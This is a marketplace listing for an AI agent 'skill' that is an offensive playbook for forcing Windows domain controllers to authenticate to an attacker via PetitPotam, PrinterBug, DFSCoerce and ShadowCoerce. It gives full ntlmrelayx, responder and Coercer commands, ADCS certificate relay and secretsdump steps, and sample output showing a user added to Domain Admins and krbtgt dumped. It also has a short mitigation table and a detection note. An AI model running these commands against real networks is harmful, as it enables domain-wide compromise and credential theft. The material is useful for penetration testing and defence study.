Authentication coercion against Windows / AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.
67
81%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.
| Vector | Protocol | RPC | Mitigated by |
|---|---|---|---|
| PetitPotam | MS-EFSR (Encrypting File System Remote) | EfsRpcOpenFileRaw | KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |
| PrinterBug | MS-RPRN (Print System Remote) | RpcRemoteFindFirstPrinterChangeNotificationEx | Disable Print Spooler |
| DFSCoerce | MS-DFSNM (Distributed File System) | NetrDfsGetVersion, NetrDfsRemoveStdRoot | Restrict DFSN to admins |
| ShadowCoerce | MS-FSRVP (File Server Remote VSS) | IsPathSupported | KB5015527 (Jul 2022) |
| CheeseOunce / WebDavCoerce | WebDAV WebClient | (various) | Disable WebClient service |
All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.
# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''
# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEEDIf you relayed to ADCS:
[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.
The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:
# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt — full domain compromiseEFSRPC_* / RPRN_* event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity).e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.